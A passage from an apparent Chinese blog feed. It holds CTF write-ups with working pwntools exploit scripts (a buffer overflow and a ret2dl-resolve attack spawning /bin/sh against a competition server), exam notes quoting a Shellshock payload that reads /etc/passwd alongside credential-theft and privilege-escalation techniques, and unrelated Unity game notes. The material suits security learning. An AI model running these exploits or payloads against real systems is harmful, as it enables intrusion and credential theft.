class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./whatiscanary&quot;</span>)</span><br><span class="line">    context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">    context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;splitw&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">    <span class="comment"># gdb.attach(ph, &quot;break *0x080487DA&quot;)</span></span><br><span class="line">    gdb.attach(ph)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;123.206.81.66&quot;</span>, <span class="number">7777</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">length = <span class="number">232</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendMsg</span>():</span><br><span class="line">    msg = ph.recvuntil(<span class="string">&quot;input your name(length &lt; 10):&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(msg)</span><br><span class="line"></span><br><span class="line">    ph.send(<span class="string">&quot;a&quot;</span> *<span class="number">9</span> +<span class="string">&quot;\x00&quot;</span> + <span class="string">&quot;\x80&quot;</span>*(length - <span class="number">10</span>)+p32(<span class="number">0x0804A0A0</span>) + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(ph.recv(<span class="number">1024</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    sendMsg()</span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn200-infoless">pwn200 infoless</h2><p>这种题目已经不是第一次见了，这种涉及到.plt的花式操作之前只知道修改.plt然后通过libc.so.6来对比查找，然而这个题目并没有相关的数据泄露。。。难道要开始leak了？这个题目知道最后放了wp，学习了一波<strong>无需libc进行system调用</strong>的一种花式操作 – ret2dl-resolve</p><p>逻辑很简单，就是一个read函数的溢出<br><img src="/2017/04/08/HBCTF01/infoless1.png" alt=""><br>然而这个文件实在是太简单了，只有一点可以用的函数:<br><img src="/2017/04/08/HBCTF01/infoless2.png" alt=""><br>导致我们完全没有什么利用的思路啊。。。连泄露地址的write都没有。。所以最后完全不会做，学习了一波<a href="http://showlinkroom.me/2017/04/09/ret2dl-resolve/">ret2dl-resolve</a><br>然后我们这里就利用<strong>将伪造的dynstr写入.bss，然后替换掉对应的.dynstr</strong>的方法。<br>我们这里的思路是将fflush替换掉<br><img src="/2017/04/08/HBCTF01/infoless3.png" alt=""><br>然后/bin/sh传入，从而起到利用的作用。<br>代码参考了hook大佬:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    ph = process(<span class="string">&quot;./infoless&quot;</span>)</span><br><span class="line">    context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">    context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;splitw&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">    gdb.attach(ph, <span class="string">&quot;break *0x080484E1&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;123.206.81.66&quot;</span>,<span class="number">8888</span>)</span><br><span class="line"></span><br><span class="line">bssAddr = <span class="number">0x08049820</span></span><br><span class="line">dynstrAddr = p32(<span class="number">0x08049750</span>)</span><br><span class="line">tableDyn = [<span class="string">&quot;&quot;</span>,<span class="string">&quot;libc.so.6&quot;</span>,<span class="string">&quot;_IO_stdin_used&quot;</span>,<span class="string">&quot;fflush&quot;</span>,<span class="string">&quot;stdin&quot;</span>,<span class="string">&quot;read&quot;</span>,<span class="string">&quot;stdout&quot;</span>,<span class="string">&quot;stderr&quot;</span>,<span class="string">&quot;setvbuf&quot;</span>,<span class="string">&quot;libc_start_main&quot;</span>,<span class="string">&quot;gmon_start&quot;</span>,<span class="string">&quot;GLIBC_2.0&quot;</span>]</span><br><span class="line"><span class="comment"># change fflush to system</span></span><br><span class="line">tableDyn[<span class="number">3</span>] = <span class="string">&quot;system&quot;</span></span><br><span class="line">vulnerableAddr = p32(<span class="number">0x080484CB</span>)</span><br><span class="line">padding = <span class="string">&#x27;a&#x27;</span>*<span class="number">22</span></span><br><span class="line">readAddr = p32(<span class="number">0x08048380</span>)</span><br><span class="line">fflushAddr = p32(<span class="number">0x08048390</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writeTable</span>(<span class="params">address</span>):</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> tableDyn:</span><br><span class="line">        ph.send(padding + readAddr + vulnerableAddr + p32(<span class="number">0</span>) + p32(address)+p32(<span class="built_in">len</span>(each)+<span class="number">1</span>)+ <span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>)</span><br><span class="line">        sleep(<span class="number">0.1</span>)</span><br><span class="line">        ph.send(each+<span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line">        sleep(<span class="number">0.1</span>)</span><br><span class="line">        address += (<span class="built_in">len</span>(each) + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span><br><span class="line">    <span class="comment"># first , send msg to</span></span><br><span class="line">    <span class="comment"># ph.send(padding + readAddr + vulnerableAddr + p32(0) + p32(bssAddr) + p32(8)+&#x27;\x00&#x27;)</span></span><br><span class="line">    ph.send(padding + readAddr + vulnerableAddr + p32(<span class="number">0</span>) + p32(bssAddr) + p32(<span class="number">8</span>)+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>)</span><br><span class="line">    sleep(<span class="number">1</span>)</span><br><span class="line">    ph.send(<span class="string">&quot;/bin/sh\0&quot;</span>);</span><br><span class="line">    <span class="comment"># second, try to write a fake dynstr table</span></span><br><span class="line">    tempBssAddr = bssAddr + <span class="number">8</span></span><br><span class="line">    <span class="comment"># finally, try to write table to dynstr place</span></span><br><span class="line">    ph.send(padding + readAddr + vulnerableAddr + p32(<span class="number">0</span>) + dynstrAddr + p32(<span class="number">4</span>)+ <span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>)</span><br><span class="line">    ph.send(p32(tempBssAddr))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># try to use fflush</span></span><br><span class="line"></span><br><span class="line">    ph.send(padding + fflushAddr + vulnerableAddr + p32(bssAddr)+ <span class="string">&#x27;a&#x27;</span>*<span class="number">26</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    pwn()</span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>参考博客:<br><a href="http://blog.xmsec.cc/blog/2016/06/27/ZIP%E4%BC%AA%E5%8A%A0%E5%AF%86/">http://blog.xmsec.cc/blog/2016/06/27/ZIP%E4%BC%AA%E5%8A%A0%E5%AF%86/</a><br><a href="http://www.moonsos.com/post/256.html">http://www.moonsos.com/post/256.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个周末参加了一堆比赛。。。&lt;/p&gt;
&lt;h2 id=&quot;more-hbctf&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="pwn" scheme="https://showlinkroom.me/tags/pwn/"/>
    
    <category term="misc" scheme="https://showlinkroom.me/tags/misc/"/>
    
    <category term="web" scheme="https://showlinkroom.me/tags/web/"/>
    
    <category term="crypto" scheme="https://showlinkroom.me/tags/crypto/"/>
    
  </entry>
  
  <entry>
    <title>tecent安全工程师测试</title>
    <link href="https://showlinkroom.me/2017/04/02/tecent%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%B5%8B%E8%AF%95/"/>
    <id>https://showlinkroom.me/2017/04/02/tecent%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%B5%8B%E8%AF%95/</id>
    <published>2017-04-02T12:02:26.000Z</published>
    <updated>2020-07-16T13:31:30.418Z</updated>
    
    <content type="html"><![CDATA[<p>这个世界已经是web的了。。。。</p><h2 id="more-tecent安全工程师考试"><span id="more"></span><br>Tecent安全工程师考试</h2><h2 id="网络方向">网络方向</h2><ol><li><p>Mimikatz是通过哪个服务来获得windows下的用户名和密码的?<br>Mimikatz是一款用来获得windows下的密码的工具，当黑客进入Windows系统后，可以利用此工具进行提权操作。这个工具是从<strong>lssas.exe</strong>中获取个人信息的( Local Security Authentication Serve， 本地安全管理服务，内部存储了登陆了此电脑的用户的基本信息)</p></li><li><p>User-Agent:(){:;} cat/etc/passwd 这段payload是哪个漏洞的利用方式？<br>CVE-2014-6271<br>这个是bash的一个漏洞。当bash在处理环境变量的时候会触发.<br>webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源,于是我们通过设置User-Agent，就可以借此进行远程代码的实行。</p></li><li><p>反序列化漏洞<br>这里以java为例子:<br><code>Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。 Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。 因此要利用Java反序列化漏洞，需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。</code><br>其实不只java，python，php，node.js中，凡是存在着反序列化的函数（比如java的readObject, js的unserialize, python中的pickle.loads, 都会存在在【反序列化的时候执行代码】的特性，通过设置了这个特性，就能够实现反序列化漏洞</p></li><li><p>如何预防CSRF<br>CSRF(Cross Site Request Forgery 跨站伪造请求访问),通过盗取用户的个人信息，从而伪造访问，攻击等等。<br>触发的方式一般为<strong>在访问了安全的站点A后，访问危险站点B，而此时与A的回话并没有结束，从而B站点能够利用残留的回话内容，伪造成用户访问A</strong><br>防御的方法一般有:</p></li></ol><ul><li>为每一个用户生成唯一的token cookie。所有的表单访问中都要求存在一个特定的伪随机值</li><li>每个请求使用验证码,这样的话每一次访问都会被用户察觉(但是会变得很繁琐, 不推荐)</li><li>验证HTTP Referer字段</li></ul><ol start="5"><li>(具体内容忘记了)iodine, chkrootkit作用:<br>iodione – 用户DNS tunnel 的工具</li></ol><h3 id="dns-隧道技术：">DNS 隧道技术：</h3><p>DNS查询的过程为 本地查询 --&gt; local server查询 --&gt;尝试访问其他的dns服务器进行查询<br>然后假如当前的网络拓扑图为<br><img src="/2017/04/02/tecent%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%B5%8B%E8%AF%95/tecent-01.png" alt=""><br>此时主机A不可访问外网(防火墙进行过滤，但是不过滤dns请求)，但是可以访问到本地服务器。那么如果此时想要和目标服务器构成通信，那么此时可以通过将我们的通信数据放在<strong>DNS查询过程</strong>中，当本地服务器<strong>无法解析当前DNS</strong>后，就会通过防火墙将DNS查询迭代查询，最终定位到目标服务器，然后目标服务器就会接受此DNS数据包并解析出主机A的数据，并将数据<strong>返回在DNS 回复</strong>中，这样就构成了一个DNS Tunnel 通信。<br>而iodione就是一个能够简单的构造这个DNS隧道的一个工具。<br>chkrootkit – 入侵工具检测<br>rootkit是入侵者经常使用的工具,这类工具可以隐秘、令用户不易察觉的建立了一条能够总能够入侵系统或者说对系统进行实时控制的途径(比如说，注册了一个<code>$user</code>的用户，这个用户在命令行中是看不到的,<strong>$具有隐藏的属性</strong>)，而chkrootkit则是能够检测出这些rootkit的一种工具</p><ol start="6"><li>cc攻击<br>是一种类似于DDoS攻击的攻击方式，不同的是，cc攻击采用的都是<strong>真实的访问流量</strong>,也就是<strong>真实的ip，正确的数据包，有效的请求</strong><br>通过netstate -an可以看到当前建立的连接情况，如果此时有多个相同的连接（并且处于握手的中间过程），那么可以判断是正在攻击<br>可以通过将当前域名解析到&quot;127.0.0.1&quot;之类的方法进行防御</li></ol><p>cc攻击本身需要使用代理服务器，优点有:</p><ul><li>可以防止被查出本身的ip</li><li>避免追踪</li><li>代理的性能比较好的话，可以提高性能</li></ul><ol start="7"><li><p>登陆ip 时长的命令，获得DNS记录的命令<br>lastlog 用户 -t – 最近几天内用户的登陆历史<br>nslookup url – 当前域名的dns解析结果与对应ip<br>dig url – 当前域名解析，其cname，type(也就是类型是A - ipv4 还是AAAA - ipv6啦)还有ip <strong>获得的是DNS解析记录</strong><br>host url – 输出当前的A和MX(address and mail exchanger )</p></li><li><p>nmap 10.5.5.5.1 会扫描哪些端口<br>上网找到答案，说是这个是移动的宽带导航页，需要进行DNS解析，所以要访问21(ftp?)和8080端口</p></li><li><p>XSS终结者 – CSP<br>CSP 全称为 Content Security Policy，即内容安全策略。主要以白名单的形式配置可信任的内容来源，在网页中，能够使白名单中的内容正常执行（包含 JS，CSS，Image 等等），而非白名单的内容无法正常执行，从而减少跨站脚本攻击（XSS），当然，也能够减少运营商劫持的内容注入攻击。</p></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">示例：在 HTML 的 Head 中添加如下 Meta 标签，将在符合 CSP 标准的浏览器中使非同源的 script 不被加载执行。</span><br><span class="line">&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;script-src &#x27;self&#x27;&quot;&gt;</span><br></pre></td></tr></table></figure><p>不支持 CSP 的浏览器将自动会忽略 CSP 的信息，不会有什么影响。具体兼容性可在caniuse查看<br>XSS终结者中，HTTP头部来限制资源的策略是<br>同源策略，应对办法是&quot;跨域&quot;</p><ol start="10"><li><p>Mysql的自定义函数功能在入侵的时候可用于UDF提权<br>UDF是mysql的一个共享库，通过udf创建能够执行系统命令的函数sys_exec, sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。</p></li><li><p>Wannacry利用的漏洞类型<br>wannacry使用的是<strong>SMB协议</strong>，也就是<strong>通信协议</strong>，就是我们通常说的网络文件共享协议。利用这个协议，我们就能够访问到远程电脑上的共享文件，从而进行远程文件的访问。而wannacry本质上是利用了这个协议中的漏洞，从而进行的病毒内容的传播。</p></li><li><p>Rocchio算法<br>这个算法是一个用来文本分类以及查询的算法。这个算法的原理相当于是将【查询的总体内容当作总体set】，然后我们每个【set中的元素会占据一定的大小】，通过计算【每一个元素占据set的比例，得到一个向量】。通过计算各个元素的分类比例，【能够得到每一种分类的一个质心】。然后当我们需要查询的时候，我们通过计算当前查询信息的各个元素比重，能够合理的找到当前查询的向量落在哪个信息里面。（大致是这么理解的。。）</p></li></ol><h2 id="android方向">Android方向</h2><ol><li>在Android系统中，在SD卡上安装根证书，并且使用Signature Scheme v2签名认证，那么如何安装修改后的apk?<br>首先，要知道APK都是有签名的，为的就是防止我们的apk在发布后被他人修改。<br>所以当我们的apk在安装的时候，第一个要做的是就是验证我们的签名。如果发生签名文件不存在或者校验签名失败，那么就会拒绝安装。</li></ol><h3 id="签名原理">签名原理</h3><p>摘抄自<a href="http://www.36nu.com/post/183.html">http://www.36nu.com/post/183.html</a><br>对一个APK文件签名之后，APK文件根目录下会增加META-INF目录，该目录下增加三个文件：</p><ul><li>MANIFEST.MF</li><li>NETEASE.RSA</li><li>NETEASE.SF<br>其中.RSA文件还可能是.DSA文件，RSA与SF文件的文件名可以更改，但是它们的命名必须一样。<br>MANIFEST.MF中保存了APK里所有文件的SHA1校验值的BASE64编码，格式如下（一个文件对应一条记录）：<br>Name: res/anim/abc_fade_in.xml<br>SHA1-Digest: ohPEA4mboaFUu9LZMUwk7FmjbPI=<br>Name: res/anim/abc_fade_out.xml<br>SHA1-Digest: MTJWZc22b5LNeBboqBhxcQh5xHQ=<br>SF文件里保存了MANIFEST.MF文件的SHA1校验值的BASE64编码，同时还保存了MANIFEST.MF中每一条记录的SHA1检验值BASE64编码，格式如下：<br>SHA1-Digest-Manifest: ZRhh1HuaoEKMn6o21W1as0sMlaU=<br>Name: res/anim/abc_fade_in.xml<br>SHA1-Digest: wE1QEZhFkLBWMw4TRtxPdsiMRtA=<br>Name: res/anim/abc_fade_out.xml<br>SHA1-Digest: MfCV1efdxSKtesRMF81I08Zyvvo=<br>RSA文件则包含了签名的公钥、签名所有者等信息，还保存了http://my.oschina.net/u/816213/blog/685762?fromerr=RSS3IhKo<br>用SHA1withRSA签名算法对SF文件的签名结果信息。<br>apksigner<br>则只要将整个包重新签名，重新生成那个META-INF的内容即可。</li></ul><p>比如说</p><ul><li>在assets文件夹中添加channel.txt文件后重新打包并签名</li><li>直接在zip包的注释段添加内容。这种是另一种使用比较广泛的渠道包打包方案，但是这种方案打的包不会破坏V2打包的APK Signing Block</li><li>通过脚本在META-INF文件夹注入内容</li></ul><ol start="2"><li><p>当Android打开wifi热点运行在哪个进程?<br>Service</p></li><li><p>伪基站实现劫持的原理<br>伪基站利用<strong>移动信令监测系统</strong>监测移动通讯过程中的各种信令过程，获得手机用户<strong>当前的位置信息</strong>。伪基站启动后就会<strong>干扰和屏蔽</strong>一定范围内的运营商信号，之后则会搜索出附近的手机号，并将短信发送到这些号码上。屏蔽运营商的信号可以持续10秒到20秒，短信推送完成后，对方手机才能重新搜索到信号。大部分手机不能自动恢复信号，需要重启。伪基站能把发送号码显示为任意号码，甚至是邮箱号和特服号码。<br><a href="https://zh.wikipedia.org/wiki/%E4%BC%AA%E5%9F%BA%E7%AB%99">https://zh.wikipedia.org/wiki/%E4%BC%AA%E5%9F%BA%E7%AB%99</a><br>大致流程就是:<br><img src="/2017/04/02/tecent%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%B5%8B%E8%AF%95/tecent-02.png" alt=""></p></li><li><p>Android adb shell查看进程指定文件<br>ps [pid|name]</p></li></ol><ul><li>pid 进程号</li><li>name 进程name</li></ul><h2 id="windows策略">windows策略</h2><ol><li><p>Applocker<br>应用程序控制策略，是Windows中的一种管理规则，可以指定指定的应用使用，指定的脚本运行，位置如下:<br><img src="/2017/04/02/tecent%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%B5%8B%E8%AF%95/tecent-03.png" alt=""></p></li><li><p>powershell杀软绕过。。。<br>这篇freebuf的大佬写的很好。。就借鉴一下了<br><a href="http://bobao.360.cn/learning/detail/2994.html">http://bobao.360.cn/learning/detail/2994.html</a></p></li></ol><p>记得的就这些了。。。真是好难啊(反正都不会就这样吧_(:3_)_Z)_<br>参考<br><a href="http://blog.bihe0832.com/android-v2-issue.html">http://blog.bihe0832.com/android-v2-issue.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个世界已经是web的了。。。。&lt;/p&gt;
&lt;h2 id=&quot;more-tecent安全工程师考试&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="笔试面试" scheme="https://showlinkroom.me/tags/%E7%AC%94%E8%AF%95%E9%9D%A2%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>Unity-2D-roughlike</title>
    <link href="https://showlinkroom.me/2017/04/02/Unity-2D-roughlike/"/>
    <id>https://showlinkroom.me/2017/04/02/Unity-2D-roughlike/</id>
    <published>2017-04-02T10:50:30.000Z</published>
    <updated>2020-07-16T13:31:30.418Z</updated>
    
    <content type="html"><![CDATA[<p>之前写好的文档乱码了(爆炸)…这里重新写一份好了QAQ</p><h2 id="more-unity-学习笔记"><span id="more"></span><br>Unity 学习笔记</h2><p>Unity 3d 作为一款非常流行的游戏引擎，里面集成了游戏制作需要的大部分内容。</p><p>Unity里面有几个比较重要的概念(自认为)</p><ul><li>Component</li><li>MonoBehavior</li><li>GamObject</li></ul><h2 id="monobehavior">MonoBehavior</h2><p>这个是Unity的一个核心类，通过集成这个类，我们的对象能够操作Unity的相关属性，并且集成相关的类来使用。其中使用的最多的就是GameObject – 这个对象就是Unity里面最基本的操作对象，通过设置这个属性，我们就能够将Editor中的对象与当前Behavior进行关联，从而进行一系列操作。然后我们可以通过在Behavior中定义Component – 对象的属性，从而来对gameObject制定的对象属性进行操作。</p><p>其中常用的属性为：</p><ul><li>gameObject: 通过将这个属性attach到Editor中的对象，从而完成操作</li></ul><h2 id="gameobject">GameObject</h2><p>Unity的核心类之一。在MonoBehaivor中定义Component，就能够操作此时已经Attach到当前gameObject的Component身上。设定的Component可以通过右上角的齿轮按钮进行属性的重置。<br>其中常见的Component有:</p><ul><li>Transform: 用于存放制定Object的坐标，旋转角度的Component。一般来说任意对象创建都会带上这个属性。这个属性在第一次创建的时候最好先重置一次</li><li>Sprite Render: 用于绘制当前对象,可以通过直接将图片拖动至Editor中进行创建，如上对这个对象创建的时候大小可能会有一点不合适，可以进行调整。(如果创建了Animator的话，这个对象必定被创建)</li><li>Animator: 用于处理动画播放的Component。当我们将多幅图片拖动至同一个对象上的时候会创建。可以管理动画的播放时机，播放出发条件等等。当创建后会在本地生成一个Animator文件(存储动画)和AnimatorController文件(管理动画)</li><li>Camera: 用于处理当前玩家视觉的Component。这个对象一般创建在一个独立的Game Object<strong>Camera</strong>上，这个对象将会决定玩家能够看到的游戏范围。一般来说会通过各种方式让其跟随某个游戏对象，从而实现视觉跟随</li><li>Physics: 管理物理系列的Component。分为2D和3D两种。这个属性是一个大类，底下有很多具体的物理模型。可以模拟和质量，力等相关的属性</li><li>Audio Source: 音频管理的对象，可以管理音频播放的方式(是否循环播放等等)</li></ul><p>属性</p><ul><li>Tag：当前gameObject标签名</li><li>Layer:当前所在物理层。只有在同一层的对象能够被碰撞检测到<br>当我们想要为选中的对象添加Componeng的时候，可以通过点击右下方的Add Component进行添加:<br><img src="/2017/04/02/Unity-2D-roughlike/Learn2D-01.png" alt=""><br>由于Unity中其实有很多的函数和属性，我们要学会查询手册。在任何属性右上角的小本子按钮能够打开当前的查询资料页面<br><img src="/2017/04/02/Unity-2D-roughlike/Learn2D-02.png" alt=""></li></ul><h2 id="transform">Transform</h2><p>如同前面提到的，存放了物体关于【位置大小】的所有信息。包括平移，旋转，大小。当我们创建对象后，为了保证我们的参考系正确，最好通过右上角的gear对其进行reset</p><h2 id="spriterender">SpriteRender</h2><ul><li>Sorting Layer: 这个属性是用来决定绘制的顺序，越靠上，绘制越靠前，相应的，绘制的内容也越容易被遮盖。</li></ul><h2 id="animator">Animator</h2><p>当通过拖动多个图片到一个游戏对象上来创建这个对象的时候，一定会创建一个SpriteRender。同时，我们会在本地创建一个.anim用于动画内容的Animation文件，以及一个Animation Controller，用于管理当前的动画播放顺序，以及触发条件。当我们添加了多组不同的图片的时候，就会有不同的动画资源，其中默认的是第一组拖进去的图片动画。但是只会创建一个Animator Controller</p><p>Animator的触发可以在Parameter处进行设置。通过一侧的小箭头能够添加我们指定的parameter:<br><img src="/2017/04/02/Unity-2D-roughlike/Learn2D-04.png" alt=""><br>Parameter有几种:</p><ul><li>Trigger:触发器类型，也就是当这个值被设置为True后，动画才会播放，否则就不会播放。同时，触发器就意味着，他的触发是一帧一帧的。当我们调用函数SetTrigger设置其为True后，触发的动画播放后，就会回到False的状态（相当于是一次播放一组）</li></ul><p>为了在不同的动画直接实现沟通，我们可以在Editor的Animator中对对象右键，找到<strong>Make Transition</strong>,就能够指定动画之间的播放关系。设置的Trigger动画最好形成一个【往返的Transition】，从而能够实现触发动画并且恢复的效果</p><ul><li>Transition Duration:这个是动画播放时间的延迟，一般2D游戏不需要设置，3D主要是为了动画额度渲染才需要</li><li>Has Exit Time:设置之后，当动画完整播放后才结束。如果不设置的话，那么当发生动画切换的时候直接打断当前的播放进度。</li><li>Exit Time:退出前播放当前的动画多少次</li></ul><p>Animator的Animator Controller管理了动画的播放，这个东西可以实现多个动画播放控制，同时也会存储当前动画播放的特质。利用这点，我们可以处理一些重复播放的动画</p><ul><li>animator override controller: 重载当前的播放动画。我们可以保留某一个动画原型作为希望的效果的模板，然后我们拖入新的图片并且删除当前的animator，然后我们在Create处新建animator override controller，并且在Controller中拖入我们原先的Animator Controller。并且将里面我们需要重载的播放函数（其实就是Animation文件名）改成我们自己的播发函数名<br><img src="/2017/04/02/Unity-2D-roughlike/Learn2D-03.png" alt=""><br>即可完成播放的重载。<br>Animator还有以下其他的属性</li><li>Speed:当前动画的播放时间</li></ul><h2 id="camera">Camera</h2><p>摄像机属性，可以决定当前的拍摄位置。通常来说，Camera的x,y,z设置和物体的位置还是有点不一样的，其中的z一般是-10，从而能够【往下看】。在2d游戏中，可以在projection中设置<strong>平行摄像机</strong>，此时的Camera需要设置Size(orthographicsSize属性)</p><ul><li>Size:当我们使用了orthographic属性后，我们通过设置这个Size属性(单位为换算过的)</li></ul><h2 id="physics">Physics</h2><p>Physics是一个我们的物理模型，算是模拟中的一个重要的概念。gameObject可以添加的相关Component的内容为<strong>xxCollider</strong>和<strong>Rigidbodyxx</strong>。Unity的物理模型有两套，一个Physics和Physics2D，这两个物理模型是共存的，但是双方不存在交互。</p><ul><li>Rigidbody:刚体，当一个物体需要【重力】相关的属性的时候，会加上此属性。这个属性创建的时候会带有gravity scale属性（当然，如果选择了Kinematic就不需要）。如果是2d游戏的话需要设置一下。只有设置了Rigidbody的对象<strong>才能够接受力的作用</strong>，也就是说，碰撞检测中，拥有此Component的对象才有接受碰撞的函数。</li><li>Collider:碰撞体，设置了这个Component才会进行碰撞测试检测(注意，设置了Rigidbody2d的也要这么做)。碰撞体会纳入碰撞检测中，但是不会收到力的作用（可以放出力）同时碰撞还能够设置是否为<strong>trigger</strong>，trigger不会产生力，但是会被检测出来。</li><li>碰撞是否被检测取决于对象是否在【同一层上**(见gameObject属性部分)**】</li></ul><h3 id="rigidbody详解">Rigidbody详解</h3><p>无论3d还是2d对象都可以设置，并且两者并不发生交互。<br>这个Component设置的是一个<strong>刚体</strong>的概念，也就是说此时该对象会考虑<strong>力</strong>的作用，并且会与Collider发生碰撞检测。这个对象有着现实中的一些基本类型，比如mass(质量),force(力)和accelerate(加速度)</p><ul><li>Force:作用在该Rigidbidy上的力，如果我们需要让一个物体产生一个推动的过程的话，不应该自己去计算加速度一类的，而是应该使用addForce一类的函数将力作用在对象上。<br>为了应付不同的Rigidbody对象，这个对象有不同类型：</li><li>Static</li><li>Dynamic</li><li>Kinematic<br>Static为固定的对象使用的属性。由于可以被预先的计算出来，那么不动的物体使用这个属性将会非常的方便。相反，如果Static的一个物体发生位移，那么Unity的每一帧都会去重新绘制Collider，从而增加运算量。只含有Collider的对象会被视为static<br>Dynamic为一个动态的对象使用的属性。如果同时含有Rigidbody2d和Collider属性会被认为是Dynamic。<br>Kinematic:无论是Static或者Dynamic，这个对象都会被认为是刚体，会受到力的作用。然而有些对象并不需要这些，只需要检测是否发生了碰撞(比如简单的打砖块游戏),此时就可以设置成Kinematic，此对象不存在Mass等力相关的概念，但是可以检测是否发生碰撞。</li></ul><h3 id="pyhsical2d的常见函数">Pyhsical2D的常见函数</h3><ul><li>Linecast(Vector2 begin, Vector2 ned, LayerMask, kayer, int MaximumDepth, int MinmumDepth)<br>从begin到end会射出一条虚拟的射线，如果这条射线其中存在Collider对象，那么会将其封装成RaycastHit2D对象并且返回。如果存在多个Collider对象，就返回第一个遇到的那个。</li></ul><h2 id="scrpit">Scrpit</h2><p>脚本对象，我们的cs脚本就是通过这个Component对其进行操控。主要的代码就是写在这个位置。由于Script也是Component，于是在管理类的时候，我们可以直接将脚本对象传进去。<br>一般来说，开发的时候喜欢使用一个GameManager对象(Singleton对象，详见后<strong>开发模式</strong>)来存储各个类之间的关系，此时我们就能够吧Script作为Component传入。<br>在Script中获得Component的方法</p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">  <span class="keyword">private</span> Rigidbody2D rb2d;</span><br><span class="line">......</span><br><span class="line">  <span class="function"><span class="keyword">void</span> <span class="title">Start</span>()</span>&#123;</span><br><span class="line">  rb2d = GetComponent&lt;Rigidbody2D&gt; ();</span><br><span class="line">  ...</span><br><span class="line">  